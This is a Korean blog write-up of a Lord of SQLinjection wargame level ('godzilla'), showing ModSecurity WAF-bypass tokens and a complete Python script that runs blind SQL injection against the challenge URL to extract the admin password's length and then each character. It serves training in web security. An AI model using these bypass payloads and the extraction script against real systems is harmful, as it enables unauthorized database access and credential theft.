이전 33번과 동일하게 방화벽을 우회하는 문제이다.

무난하게 페이로드를 작성하고 던지면, 다음과 같이 Forbidden 에러를 확인할 수 있다.

 

이전에 배운 방화벽 우회 payload를 사용해보자.

- { a 1 } (true)
- <@ = 1 (false)

id값은 임의로 설정한 후 false를 만든 후에 or 연산자로 {a 1}=1를 이용해 참 값으로 들어가도록 설정한다. 그러면 Hello admin이 응답값에 찍히게 된다.

이 문제를 풀기 위해선 blind injection을 시도한다.
그러면 이거는 pw를 한 글자씩 뽑아내서 구하는 자동화코드를 짜는 게 편하다.

import requests

url ="https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "123'<@=1 or id='admin' and length(pw)={} or'".format(len_num) #injection payload
        parmas = {'id': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "123'<@=1 or id='admin' and ascii(substr(pw,{},1))={} or'".format(i,j)           #injection payload 
            parmas = {'id':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw




pw_real(pw_len())

한 글자씩 뽑기

성공...

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11

+ Recent posts